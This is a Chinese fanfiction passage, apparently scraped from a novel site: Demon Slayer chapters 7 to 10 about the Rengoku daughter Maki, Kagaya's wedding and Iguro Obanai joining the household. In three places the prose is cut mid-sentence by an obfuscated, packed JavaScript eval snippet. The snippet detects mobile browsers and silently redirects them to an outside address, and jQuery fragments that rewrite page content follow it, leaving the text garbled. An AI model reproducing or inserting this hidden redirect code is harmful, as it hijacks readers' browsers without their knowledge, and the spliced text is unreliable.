《[鬼灭]身为猫头鹰家族的一员》
7. 失败?
瑠火坐在槙寿郎右侧,对门口的人招手:“真希,过来一下。”
真希不自觉开始紧张,为什么都在看她,最近应该没闯祸吧?
难道是偷偷扔掉吃不完的东西被发现了?
她不明所以,面对这副架势,下意识摆正步伐,端端正正跪坐在千寿郎旁边,收获了一个略带歉意的眼神。
“怎么了?爸……父亲,母亲。”真希几乎没有用过这样的方式说话,差点咬到舌头。
大哥倒是常用,她和千寿郎两个人的时候偷偷模仿过,怎么样,还挺像吧。
收敛了平常嘻笑打闹的样子,板正的小脸上,目光幽幽,仿佛看到了缩小版的瑠火。
不过神形中怎么看到的全是杏寿郎的影子,槙寿郎不住地滑动视线,一定是错觉。
他今天是有正事要问的,清清嗓子:“真希,你去找主公大人做了什么?”
“喝茶、听故事、吃东西……还有送花。”她掰着手指,一件一件数完后,松开手:“没有了。”
“不行!爸爸我决不允许你早恋!”槙寿郎蹭地站起来,声音洪亮,神色有几分激动。
“……?”真希一脸茫然:“爸爸,你在说什么奇怪的东西。”
她维持不住这不习惯的姿势,索性一屁股坐在地上,伸出腿:“听不懂。”
没做过的事情她是不会承认的!
千寿郎扯扯真希的衣袖,凑近了,满脸忐忑在她耳边嘀咕了几句。
真希的表情从疑惑到震惊,骨碌爬起来:“都……都知道啦?!”
她本来想等成功了,再到新年的时候就可以把耀哉哥哥带回家(吃饭),给他们一个惊喜,如果失败了,她岂不是又要丢人了!
千寿郎更愧疚了,他把妹妹的秘密捅出去了,有没有让时间倒流的办法?
真希顾不上思考他们怎么知道的,只想有一个能让他们忘记这件事的办法。
旁边的人又开始扒拉她,真希低头看过去,千寿郎眼神闪躲,提醒道:“刚才……你说出来了。”
说出来什么?她不解。
杏寿郎开口道:“忘记是不可能的,这不符合常理,唔姆!”
哦,原来是心声,被绕得晕晕乎乎,真希缩成一个球,蹲下,盯着地板,背景是爸爸和哥哥的交谈声。
瑠火叹了口气,起身单独带走了女儿,在这里什么都问不出来。
作为这个家唯二的女性,有些话必须由她来说。
弄明白女儿从哪里知道这些,和这么做的目的后,瑠火放下了本来就不多的担忧。
早料到真希不可能明白这些行为的含义,她的女儿生得如此善良,作为母亲,欣慰和忧虑并存。
可外面的世界并没有她想象中的美好,一直以来,除了必要的善恶观,他们没有过度干涉孩子们的成长。
这孩子,一点防备心都没有,瑠火拢了拢女孩蓬松细软的头发。
真希抬头冲她露出一个甜甜的笑,天真问道:“如果成功了,耀哉哥哥就不能拒绝我了吧。”
反正都知道了,直接问母亲大人,就不用特地跑出去找街上的阿姨和奶奶了。
瑠火笑道:“你知道成功意味着什么吗?”
“知道!”真希确信道:“成功了我们就是一家人了,失败了我们也还是好朋友呀。”
不亏,一点都不亏。
“但是成为一家人不是对方来我们家,而是你要住到别人家去哦。”
“!”
真希第一次听说,急忙追问:“为什么!”
虽然她很喜欢耀哉哥哥,距离也不远,但她更喜欢自己的哥哥们,绝对不要分开。
“因为结婚都是女孩子到男孩子家。”
“我不能不一样吗?”真希纠结半晌,无法接受。
“等你长大了,就会遇到能够让你愿意这样做的人了。”
“好吧。”她蔫蔫答道,谁知道长大后会怎么样呢。
真希想了想:“如果对方非要到我家来呢?”
“那爸爸和妈妈也没有意见,你开心就好。”瑠火摸摸她的头,孩子还小,等以后再慢慢说吧。
真希点点头,那她就努力把人拐回家就好了。
但是今天爸爸说的‘早恋’是什么?看起来不太高兴的样子。
……
小插曲过后,炼狱家恢复如常。
真希没有放弃实行‘大计’,对追求行动乐此不疲,不再需要瞒着家人的她,更是直接向其他人求助。
只有槙寿郎,每每听到,脸上的表情都一言难尽。
某天,真希揣着和哥哥商量许久才决定好的礼物,兴冲冲再次来到产屋敷宅。
她还特地穿上新衣服,扎了新发型呢。
在门口等了半天,也不见有回应。
即便产屋敷宅没有护卫,由于位置和主人身份的特殊性,也没有会擅自闯入。
虽然耀哉哥哥说过她可以直接进去,但真希还是更喜欢得到回复后,再去找他。
实在按耐不住时,她也会等不及先跑进去,就像现在。
一边小声说着打扰了,一边往正厅走。
偌大的宅子安静异常,真希停下脚步,几乎是一瞬间就判断出,里面没有人。
她不死心,在熟悉的地方搜寻了一遍,依旧没有人影,只好先行离去。
在前院碰上日常照顾耀哉起居的队员,背后印着一个大大的隐字。
而爸爸的队服后面印着的是滅,这两个字她总能见到,问过后,就记住了。
那个人叫什么来着……对了!
“佐藤姐姐?”看背影,真希不太确定有没有认错人。
不远处的人闻言转身,整张脸都被面罩遮住,仅剩浅青色的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953362|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双眼可见微光。
“炼狱小姐。”她出声回应。
真希与千寿郎常常出入,负责这边路线的队员多少见过两人。
给他们的糕点是由佐藤准备的,真希才艰难的从一大堆同样装束的人群里,记住了她。
真希问:“看到耀哉哥哥了吗?”
“主公大人,今天不在。”佐藤答道。
鬼杀队里,能够坦然这样称呼首领的也只有炎柱大人家这两位了,不知道该说是炎柱大人厉害,还是他们初生牛犊不怕虎。
“他去哪里了呢?”
“抱歉,我不清楚,”佐藤顿了顿:“不过主公大人有交代过,炼狱小姐过来的话,可以自行游玩,点心还是在往常的位置。”
“好,我知道啦。”真希表示了解,耀哉哥哥很忙,她不是第一次跑空了。
空闲的时间连同上次加在一起,一只手都能数过来。
‘增加独处时间’好像很难实现呀。
“需要我陪您吗?”佐藤问道。
小女孩一看就被养得很好,不骄不躁,无意识中透出几分浑然天成贵气,毕竟是历代传承炎柱之位的炼狱一族。
“不用了,姐姐去忙吧,我下次再来。”真希挥挥手,告别了佐藤。
她没有太在意,大不了明天或者后天再来。
……
隔天,真希再次打算出门时,被瑠火叫住。
“等等,真希。”她侧头看向另外两人:“还有杏寿郎和千寿郎,跟我过来一下。”
真希乖乖抬手、转身,方便母亲手上的尺子测量围度。
“春天的衣服不是有很多新的了吗?”她转着圈问。
他们正是长身体的时候,每个季节都要换新,天气刚暖,就马不停蹄送了尺码去定制,还有好几件没穿过。
“这次的稍微有点不一样。”记录好真希的尺寸,瑠火换了千寿郎来。
真希感觉从头到脚都被量了一遍:“不一样?新的款式吗?”
“到时候你就知道了。”
到千寿郎和杏寿郎,瑠火的速度明显加快,利落记好了两人的尺寸。
“杏寿郎,好像长高了一点。”瑠火说道,真希和千寿郎倒是没什么变化。
“我呢我呢?”真希举手问道。
“没有,你都不好好吃饭。”
“……”
产屋敷宅来往的人逐渐变多了,搬东西,布置房间,打扫……围绕着的忙碌气氛,真希无所适从。
耀哉身在其中,却没受到半点影响,他的周围宁静一如往常,所有人到他面前,都会默契的放轻动作。
偶尔真希与他对上视线,一成不变的眉眼间,似乎有些许不易察觉的柔和放松。
在紫藤盛放的时节,传来主公大人与神篱小姐成婚的消息。
真希没想到失败来得如此之快。
8. 新伙伴
被拉去换赶制出来的衣服时,真希对现状依旧一知半解,任由母亲捻着繁琐的衣带在身上穿梭,头发编成麻花盘在脑后。
一身粉樱色振袖和服,落落大方的站着,只要不说话,还挺像那么回事儿。
杏寿郎和千寿郎同样一身正式装扮,一个橘橙上衣浅灰袴,另一个由深至浅蓝色渐变。
真希抬头再低头,看着两张几乎等比例放大的脸,忍不住问出一直以来的疑问:“妈妈,我为什么跟哥哥们长得不一样呢?”
其实哥哥们才是双胞胎吧,长相都一样,而且都是男孩子。
瑠火走过去给两人检查穿着,回头看她:“全部都像爸爸,那妈妈岂不是很可怜。”
真希想扑过去,面对这迈不开步子的衣服,遗憾放下腿:“像妈妈也很好啦。”
不过有时候她还是会想象一下,如果自己也有一头鲜艳的黄红色长发会是什么样子。
“唔姆,只有真希像母亲,有时候我和千寿郎也很羡慕呢!”
“真的吗?”
“当然了!”
真希脑海中的画面交换了位置,如果哥哥们是竖起的黑发,而她是黄红的……不行不行,好像有点奇怪,她晃晃脑袋,赶出没法细想的场景。
还是这样就好。
距离上次一家人出门已经过去很久了,杏寿郎自告奋勇接过照看弟弟妹妹的任务。
路上,真希开始了她的十万个为什么。
“婚礼是什么?”
“唔!是和喜欢的人举行的重要仪式吧。”杏寿郎牵着两人往前走。
“那喜欢的人很多,可以都举行一遍吗?”
“真希,不能这么贪心。”槙寿郎忍不住插嘴:“之前你不是还想过和主公大人结婚吗?”
“耀哉哥哥吗?”真希一思索,恍然大悟:“变成家人的神秘仪式对吧。”
要说清楚这个问题,现在不是个好时机,槙寿郎提醒道:“……这个称呼,今天还是不要叫了吧。”
有不少同僚在,感觉被听见了……会很麻烦。
他瞥了眼后面的三人,话说回来,真希之前那么兴致勃勃的样子,现在倒是一点反应都没有。
真希闭上嘴点点头,耀哉哥哥是老大嘛,有别人在的时候,要注意,她早就学会啦。
密密匝匝的紫藤花盘绕在花架上,汇成望不到头的一片,阳光从缝隙里照进来,也被花染成紫色。
人群聚在垂丝万缕的紫藤下,低声交谈。
婚礼的仪式与布置,无可挑剔,但碍于身份的特殊性,终究算不上盛大。
真希第一次见到这么壮观的花瀑,发出惊叹的同时,被浓烈的香气激得打了个喷嚏。
花瀑往上,可见通往神社的入口。
神官在最前方领着新人的队伍,缓步前行,产屋敷家主身穿黑白羽织袴,才十三岁的少年,长相还略显稚气,压不住成熟的装束。
他嘴角含笑,温和地注视着前方身穿队服的剑士们,视线偶尔微微偏移,看向旁边的人,一闪而过的波动,不知道意味着什么。
代表圣神的白无垢,宽大帽沿遮住新娘的半张脸,真希站在侧边,看见她唇上若隐若现的口脂。
真希老老实实牵住哥哥的手,同其他人一样没有出声。
某一刻,她似乎感觉到耀哉的目光在他们的方向停顿了一瞬。
在神社入座,神官的祈祷仪式和祝词,她一概听不明白,只觉得坐得双腿发麻。
漫长繁琐的流程中,众人闪烁着近乎崇拜的尊敬目光,连父亲也展露出不同于平日的沉静稳重。
真希对这位平易近人哥哥的地位初次有了实感,心中有什么东西正在萌芽。
队伍先行退场,完成仪式的尾声。
真希悄悄挪动步伐,借着身高的优势,侧头从下往上偷偷看去,蓦地对上一双眼睛。
她收回视线,脸色微红,躲在杏寿郎身后。
“怎么了?”杏寿郎小声问。
真希摇摇头,总不能说新娘姐姐太好看了吧。
没过多久,耀哉和天音从另一侧的门回来了。
白无垢下的样貌显露出来,肤白胜雪,一抹宛如初绽樱花的薄粉胭脂,本应该最引人注目的口脂,也要黯淡下去,
“谢谢大家,这么多人为了我的事情抽出时间。”耀哉轻声说了些感谢的话。
平常没有机会见到首领的普通队员,诚惶诚恐,不知道作何反应。
最终还是槙寿郎扯开洪亮的嗓门:“恭喜!主公大人!我们会好好享受今天的!”
凝滞的气氛略有松动,他接着推了推自己的孩子,用眼神示意:去吧,正是需要你们缓和气氛的时候到了。
真希:“……”
杏寿郎倒是没有犹豫,大大方方走到最前方:“恭喜!主公大人,夫人!”
明明是三人中与产屋敷耀哉最熟悉的人,真希此刻却有点紧张,学着哥哥的样子:“恭……恭喜,耀……主公大人。”
咬着不习惯的称呼,声音逐渐变小,她向上看了看,新娘姐姐在笑欸。
之后发生的事情,她记不清了,回家的路上抱了满怀的糖果。
真希满脸憧憬:“新娘都是那么漂亮吗?”
“不知道。”千寿郎摇摇头,同样腾不出手。
“真希也很漂亮,长大了会更漂亮的,唔姆!”杏寿郎信誓旦旦。
“真的吗?”她也好想当漂亮的新娘呀。
“当然了!”
真希迫不及待的问:“那我跟哥哥结婚不行吗?”
“唔姆,当然可以。”杏寿郎答得毫不犹豫。
“那个……”千寿郎弱弱开口:“那我呢?”
真希几乎没有思索,理所当然道:“做完哥哥的新娘,再做千寿郎的新娘。”
“好吧。”千寿郎同意,排在哥哥后面也是无可奈何。
“那爸爸呢?”槙寿郎笑着问道。
“不要!”真希果断拒绝。
老父亲心碎,寻求妻子的安慰,梅开二度,再次被嫌弃。
回到家后,千寿郎由杏寿郎带去换衣服。
瑠火卸下女儿身上层层叠叠的装束,勒了一天的小肚子重见天日,真希摸着它深吸一口气。
换上舒适的居家服,瑠火不经意问:“看到主公大人结婚会觉得不开心吗?”
“不会呀,”真希护住发型,随口解释道:“耀哉哥哥有家人了,就不用再孤零零住在那么大的地方了不是吗?”
她没有体会过一个人的感觉,总觉得有人陪才会开心,大家都开开心心的好啦。
瑠火微微笑道:“你说的对。”
“对了!”真希转身趴到她腿上,眨巴眨巴眼睛:“可以找新娘姐姐玩吗?”
瑠火伸出一根手指戳了戳她白嫩的额头:“一天到晚,就惦记着玩。”
……
之后,真希再去产屋敷宅,和天音也算有了正式的接触,年轻夫人束起银白色的长发,同样散发着与众不同的气质,对她表示欢迎。
在两位非凡的人面前,真希不自觉收敛起来,偷偷观察和自家父母完全不一样的相处状态。
生日过后,真希没了随时随地往外跑的机会,他们要和大哥一样,为训练做准备,还有读书写字。
虽然炼狱家表面上任由他们自由生长,但实际上对知识和训练的要求都很高。
经过学习和锻炼,脑袋才会更聪明,这是真希听到的说辞。
自由自在的时间过得真快,她撑着软乎乎的脸颊,望着天空。
“真希?刚才有说什么吗?”千寿郎好奇地翻着新拿到的书本,有些字他跟哥哥学过。
“没有。”真希从窗台上缩回脑袋,看向接受良好的千寿郎。
她故作深沉的叹口气,没办法,这是成为「勇者」的必经之路,不可以认输。
虽然也可以试试撒娇耍赖,但她已经不是做这种事情的年龄了!
真希莫名有点骄傲,来了兴致,转身跟千寿郎凑到一起。
杏寿郎过来找他们的时候,看到这一幕有几分吃惊,千寿郎先不说,真希居然在学习吗?妹妹也长大了啊,他欣慰地走进去。
“真……”了不起
夸奖的话堵在嘴边,走近一看,两人睡得天昏地暗,真希先不说,千寿郎也……坏习惯才会互相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953363|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传染吗?
杏寿郎拿了条毯子给他们盖上,把课本从两人身下轻轻抽出来,以免第一天就变得皱巴巴的。
千寿郎感受到动静,睁开眼与大哥含笑的眼睛撞个正着,蓦地脸有点红,像偷懒被抓个正着。
不管愿不愿意,第二天两人都准时到了上课的房间,正襟危坐。
请到家里的教师,名叫古原,朴实的圆形黑边眼镜,挂在他有些皱纹的鼻梁上,肉眼可见的严肃。
两人都有些紧张,盯着前面的人不敢动。
他锋利的眼神扫过来。
两人同时绷紧小脸。
极其不符合外表的声音,从古原的嘴里发出:“两位小朋友,能不能先告诉我你们的名字呢?”
夸张的表情、夹紧的嗓音和千变万化的语调。
真希/千寿郎:……
三岁后家人就没和他们这样说过话了。
他们配合地轮流报出自己的名字,跟着放松下来。
古原笑容满面,牵动脸上的皱纹,看久了也就和善顺眼了:“那今天我们就从名字开始学吧。”
课程并不像想象中那般枯燥,看起来古板的老师,实际上风趣幽默的多。
可没几天,真希很快就高兴不起来了,老师在固执这方面,实打实是的表里如一。
他们下课的时间,以完成功课为标准,完成不了就会被无限延长,字的书写和知识的掌握,都必须一丝不苟。
真希苦手的地方,千寿郎默默放慢速度。
因为实在不想看到,妹妹可怜兮兮的表情。
这天,太阳隐隐有落下的趋势,古原坐在正前方,手中的茶杯与桌子碰撞发出一声闷响。
“千寿郎,先下课吧。”
“不,我还没……”千寿郎尝试拒绝。
“已经完成了吧,刚才我已经看到了,去吧。”古原笑了笑,往常他都是睁只眼闭只眼。
这会儿男孩无聊得用可以用视线画乌龟了,他看了眼奋笔疾书的小女孩,没有被打扰到的样子。
真希埋头苦干,手上唰唰写着,这是她第三次重抄了。
等抬起头,屋子里空无一人,外面的光是暖色的余晖。
真希迷茫的看向旁边,哥哥呢?思考过度的脑瓜暂时顾不上纠结这个,急忙递过桌上的纸张。
快放她走吧!
古原整整看了三分钟,终于点了下头,宣布她过关了。
真希脚步虚浮走出来,转身就看到两只猫头鹰……哦不,是大哥的脑袋叠在二哥头上,两双一模一样的目光看着她。
“辛苦了,真希!”大一圈的脑袋开口了。
“今天被老师发现了……”千寿郎瞄了一眼古原还没走远的背影,小声解释道。
杏寿郎伸出手在真希头上揉搓:“完成了就很棒!哥哥背你回去也没问题!”
她没有躲开,语气雀跃:“不用了啦,我不是小孩子了!”
真希碎碎念着往前走,说起来很久没见到爸爸了,去年冬天那次也是离开这么久,回来后就不太对劲。
正想着,就在入口见到熟悉的身影。
“爸爸!”她一溜烟扑过去。
槙寿郎接住她:“小心点,真希。”
杏寿郎、千寿郎在身后跟上:“欢迎回来,父亲。”
“正要找你们呢,跑到哪里去玩了?”槙寿郎扶好真希,摸了摸她的头。
真希没吭声,不想被知道真实原因。
槙寿郎继续说:“有件事,爸爸想拜托你们。”
高大的身形蹲下来,没了遮挡,才发现槙寿郎背后有一颗小小的黑色头顶。
羽织被攥住皱起来一块。
“交给我吧,父亲,是什么事!”杏寿郎答道。
“给你们介绍一个新的伙伴,”槙寿郎将身后的人轻柔地揽到前面,“这个孩子,可以暂时拜托你们照顾吗?”
身上的白色衣服旧的发灰,松松垮垮挂在身上,脚下却又短了一截,光秃秃的脚上没有血色的白和细碎伤口的红交织在一起。
散落的长发遮住半张脸,露出金色的瞳孔,盘在他头上的小白蛇警惕地看着眼前的人。
9. 伊黑小芭内
与白蛇猩红的眼睛对上,真希忍不住往槙寿郎的怀里缩了缩,见到滑溜溜的软体动物,有点害怕。
“没事的,别怕。”槙寿郎安慰道。
“我知道了!”对于来自父亲的托付,杏寿郎回答得毫不迟疑。
男孩微微侧头,真希探出脑袋,与他四目相对,异色双眸中映出她的身影,也仅仅是映出。
她没由来感到几分沉重。
杏寿郎上前几步,手搭上他的肩膀,语气铿锵有力:“你好,我是炼狱杏寿郎,你叫什么名字呢!”
沉默了片刻,就在真希以为他不会开口的时候。
低沉沙哑的嗓音传出几个字:“伊黑小芭内。”
“伊黑嘛,听起来不错!”杏寿郎的视线又转到小白蛇身上,“这个小家伙呢?”
“……镝丸。”
白蛇扭了扭头,应该是表示认同。
好奇心战胜了对未知的恐惧,真希走上前,直接钻进杏寿郎和伊黑小芭内的中间。
猝不及防被靠得太近,小芭内下意识后退几步,头发随着动作掀起,露出另外半张脸和分外惹眼的双眸,一金一绿。
嘴巴的位置被缠住,整张脸似乎只剩下了眼睛。
她愣了愣,看到对方不太适应的反应,意识到这样不太礼貌,急忙道歉:“对不起,我不是故意的,我叫真希。”
小芭内的目光停顿了片刻,缓缓移开,往槙寿郎的方向后退一步:“……没关系。”
千寿郎走到杏寿郎旁边,腼腆地打了个招呼:“你好,我是炼狱千寿郎。”
“太棒了!都友好的介绍了自己,”槙寿郎站起来,宽厚的手掌盖住小芭内瘦小的肩膀,“接下来要好好相处!”
小芭内垂下目光,一言不发。
……
瑠火看到多出来的孩子,没有多问,轻柔地将他散乱的长发别到耳后:“我先去找件杏寿郎的衣服,你梳洗干净,明天再买些新的。”
真不愧是妈妈!真希一脸崇拜,刚才还在躲闪的人就这样被乖乖拉进去了。
原本想着先找一件对付一晚,越找瑠火眉头皱得越紧,这孩子太瘦了,全都不合适。
最后,她只好随便挑了件,简单缝上两针,让他先去换洗。
“真的不用帮忙吗?”瑠火把小芭内送到浴室门口,再次确认。
他坚定的摇摇头,表示不需要。
“不好意思的话,让杏寿郎来也可以。”
“我也可以的!”真希举起手自告奋勇。
“你别捣乱。”瑠火把她扔去千寿郎那边。
千寿郎张开手熟练地接住。
回应他们的是门被‘砰’地一声关上。
真希对新来的哥哥很是好奇,眼睛的颜色和养的小蛇都好酷啊。
眼巴巴盼了半天,才等到人出来。
光脚冒着热气从浴室出来,小芭内身上宽大的衣服微微下滑,袖口盖过手掌。
光滑冰凉的小白蛇变成了热气腾腾的小蛇,瘫在他还在滴水的头发上。
“镝丸被烫到了吗?”真希不知道从哪儿拿出一张纸对折,给它扇了扇。
镝丸吐了下信子回应。
瑠火拿了条新的干毛巾来,包住小芭内湿透的头发。
真希问:“妈妈,今天水温是不是太高了?”
“真的吗?难怪这么久才出来,下次记得说呀。”
柔软的双手隔着毛巾,一下一下从他头皮上穿过。
好温暖。
小芭内感觉眼前还是雾蒙蒙的蒸汽,像飘在云端。
他一动不动,红着耳朵开口:“没有,”
“它是……”
“贪玩。”
……
炼狱一家,热情似火,善用夸夸技能。
这是伊黑小芭内来到这里第一晚的初印象,洗完澡会被夸,在上药时没有喊疼会被夸,好好吃饭会被夸,就连坐着不动,也会被说乖巧。
好像在这里,每一种举动和反应,都有存在的意义。
短短的时间里,得到了无数过去不敢想的夸赞。
脸上巴掌留下的灼热褪去,凉丝丝的药膏钻入划破的皮肤,有点疼,有点痒,这样真的好吗?
只有他在这样幸福的环境里是可以的吗?
束起的头发和眼前三人身上散发着同一个味道的馨香,小芭内垂下眼,似真似假的心绪晦涩难辨。
三人正围在一起写写画画,争论的话题是,小芭内的房间归属问题。
杏寿郎指着他旁边的那间,表示方便照顾,完成父亲的嘱托。
真希……真希的房间在中间,没有选择权,不过千寿郎旁边的房间离她更近,所以他们统一了战线。
“尼酱!”真希发动星星眼攻击。
杏寿郎转移视线,哈哈笑了两声,提出关键人物:“唔姆,要不问问伊黑的意见?”
三双眼睛齐刷刷转过来,有种被盯上的错觉。
小芭内还在神游,说到底,他不明白这场争论的意义在哪里,随便分在哪个角落,他都没有资格说什么。
没有回应的后果就是,等他回过神,已经被包围了,成了三角形正中间的那一点。
“伊黑哥哥,请做出你的选择!”
小芭内看着小女孩举起的小纸板,歪歪扭扭的线条莫名有种喜感的生动,等等,那个被画成一条抹布似的人不会是他吧?
哪个都不是很想选。
“决定好了吗?已经很晚了哦。”瑠火催促道。
“还没有。”真希摇摇头。
“你们几个不要太闹腾了,今天让伊黑早点休息,明天再玩。”
瑠火走过来伸手,三个人的额头都遭了殃。
真希捂住额头,委屈哼唧两声,“没有在玩,”
眼神漂移了一下,心虚的接了一句:“我们一直在认真讨论呢,马上就好了。”
“是嘛?”瑠火的视线划过三人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953364|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再到中间看起来有点为难的人身上,“既然如此,我有一个想法。”
小芭内的房间定在另一头夫妻俩的隔壁,是他自己选择的。
柔软的被子有晒过阳光的味道,身体很快的暖和起来,远离了吵闹的三人,世界归于安静。
有记忆以来,第一次睡在干净、有淡淡馨香的房间。
他翻了个身,在黑漆漆的房间里,控制不住想起过往,困住他十年的阴暗牢笼,那张无数次对他的身体垂涎欲滴的脸。
求生的本能让他逃了出来,可那些死去之人的脸,无法忘记。
夜色中,异色双眼目光沉沉,每一秒钟,都有不同的脸和扭曲的表情在眼前闪过,压得人喘不过气来。
盘在枕头上的镝丸感觉到波动的情绪,把脑袋贴在他的脸上,无声的安慰。
画面的最后,定格在一个火焰羽织的男人身上,那个把他救下来的人。
然后,恶鬼的脸消散。
不知过了多久,那双疲惫的眼睛终于缓缓合上。
……
新哥哥不太爱说话,但散发着与自家人完全不一样的气息。
真希很开心,连带着第二天的课程都飞快完成,顶着一双震惊的目光昂起头。
“你……”古原眼镜下的双眼眯起,一针见血发出疑问,“之前完全没想过学习吧,真希酱。”
倒不是她突然展现出过人天赋了,而是的确能看到认真思考过的痕迹。
真希身体一僵,支支吾吾:“这个嘛……那些…就…不要在意了……”
“我!我也好了!请帮我看看吧,老师!”千寿郎冲上去递上自己的。
“哦……好。”千寿郎平视最是安静乖巧,忽然大声激动起来,古原成功被转移了注意力。
顺利通过检查,临走前,古原叫住他们。
真希还以为又有什么问题,小心翼翼转头:“怎么了,老师?”
“明天开始,休息两日,两天后见。”
笑眯眯留下这句,他毫不留恋转身就走,脚步比平时都要轻快几分。
“我们原来还有休息日的吗?”真希呆呆地问。
千寿郎:“第一天的时候有说过。”
路过的杏寿郎:“太好了呢!可以无所顾忌的玩两天了,真希!”
……她有这么明显吗?
“我真的没有一直在想着玩。”真希信誓旦旦。
另外两人目不斜视。
杏寿郎:“我们快去看看伊黑在做什么吧。”
千寿郎:“说的也是,去找伊黑哥哥吧。”
“哥哥!”真希扑上去,对他们避而不谈的态度很是不满。
至于为什么不动大哥,因为说不定扑上去还要被他夸跳的真高,完全没有杀伤力。
“真希,我要不能呼吸了……”被勒住脖子的千寿郎求饶,还得防止背上的人摔下来。
独自坐在廊中的小芭内,远远就听见了三人打闹的动静。
10.捉迷藏
真希跳下来,奔向静静坐着的小芭内,朝张望着的小蛇打招呼:“下午好,镝丸,伊黑哥哥。”
小白蛇吐信子:好。
“在看什么呢?伊黑哥哥。”真希顺着他的目光看过去,院子里的草木一半铺在阳光里,一半铺在阴影下,像被人用铅笔硬生生划开一道分割线。
是司空见惯的景象。
“没什么。”小芭内收回视线,从侧面正好能看见,真希托着下巴,挤出圆鼓鼓的脸颊。
他默默往旁边挪了挪,刚动了下手掌,撞上意料之外的障碍,是不知道什么时候走过来的炼狱兄弟。
被包围了,小芭内只好继续盯着前面,这家人,怎么爱靠得这么近。
“唔呣,偶尔晒晒太阳也不错!”
“我会睡着的。”真希很有自知之明,两腿一伸,熟练地晃荡着两只脚。
她思考了片刻,撑住地板,探头问道:“哥哥,今天可以一起玩捉迷藏吗?和伊黑哥哥一起。”
“当然可以!”杏寿郎一口答应,“不过当鬼的时候,不能耍赖,真希!”
“不,我就不……”小芭内试图拒绝。
“玩游戏的时候,我才没耍过赖。”
“那个,我……”小芭内再次开口。
“那你今天当第一个,我们走,伊黑!千寿郎!”杏寿郎拉起两人就走,将妹妹的呼唤抛置脑后。
拒绝失败的小芭内很无力,这几个人,能不能好好听他说话。
按照惯例,藏身的范围,只在划线的区域,被找到算输,
见伊黑没什么干劲,杏寿郎顺手给人藏进小灌木丛后,比划了一下自己的身形,遗憾地发现藏不住两个人,才转身去找其他地方。
小女孩清脆的倒数声结束,发着嘿嘿嘿的恶人笑就走过来了。
明明不想参加的,她从前面走过时,小芭内还是不自觉放轻呼吸,把身体缩小了些。
对哥哥常去的几个藏身地,真希了如指掌,没过多久,漏了一撮毛的杏寿郎就被她抓到了。
再顺着印象中的地方找另外两人,找了一圈后,她没找到,于是反其道而行之,开始观察看起来就破绽比较大的地方。
“发现伊黑哥哥!”真希的嗓音悄无声息在耳边炸开。
小芭内被吓到,心脏控制不住砰砰加快,陌生的情绪在身体里滋生,与过去的恐惧和紧张不同,有点想……再来一次。
镝丸看起来莫名兴奋,它早就发现人类幼崽啦,好玩。
好幼稚的想法,小芭内掩饰般摸摸白蛇不安分的脑袋:“安静点。”
把抓住的两人领进画好的区域里,颇有成就感的真希愉快地找起了最后一个人。
然后就看见她故意放轻脚步,屏住呼吸,把千寿郎吓得一激灵,从角落里弹出来。
“……”
“大获全胜!”真希把千寿郎塞进圆圈里,双手叉腰,满意地看着排排站的三人。
如果她身后有尾巴的话,应该摇起来了,对,就像镝丸这样。
“这种方式对心脏不好!”千寿郎心有余悸拍拍胸口,时不时瞥向一言不发的大哥。
“对不起啦,太开心了,一不小心就……”真希双手合十,遮住压不住的嘴角,一看就知道下次还敢。
“算了,原谅你了。”千寿郎大方的没有计较。
“那接下来换哥哥当鬼,我们要藏了,哥哥快出去数数。”真希催促道。
“没问题!你们可要藏好了!”杏寿郎走到墙边背过身体。
谁当鬼,都比真希这个爱使坏的好,千寿郎暗暗松了口气。
各自散开去躲。
真希跑开几步,见小芭内没有动作,回过头去拉他,边跑边念叨:“刚才我发现了一个绝对不会被发现的地方,我们快过去!”
她勉强分享一下,刚发现的秘密基地吧。
小芭内垂眸,手腕上传来的触感,与刚才那个人一样温暖,不如说这一家人,都是这样,可他……从没玩过这样的游戏。
愣神间,真希拉着他进了一个小隔间,看起来很久没人打开过了,这个高度对于她的身高来说绰绰有余。
“进来吧,伊黑哥哥。”真希热情的邀请小芭内加入她认为绝妙的地方,显然没有意识到问题所在。
外面传来杏寿郎的声音:“我来抓人了!”
小芭内蜷起身体,几乎擦着木板躲进去了,真希立刻伸长手臂,把门带上。
唯一的光源消失,狭窄黑暗的空间,熟悉的,令人窒息的潮旧的灰尘味道,小芭内瞬间想起些不好的记忆。
他勉强克制着自己,把注意力集中在眼前。
感觉到身边的人过于紧绷的身体,真希才发现不对劲,懊恼地低声说道:“对不起,伊黑哥哥,这里太矮了。”
他没说话,真希有点矛盾,不想被找到,但是,太挤了,待在这里会很难受吧。
内心大战几百回合,她决定偷看一下外面的情况,能不能转移到阵地B。
一点一点移动到门前,偷偷拉开一条缝,外面空无一人。
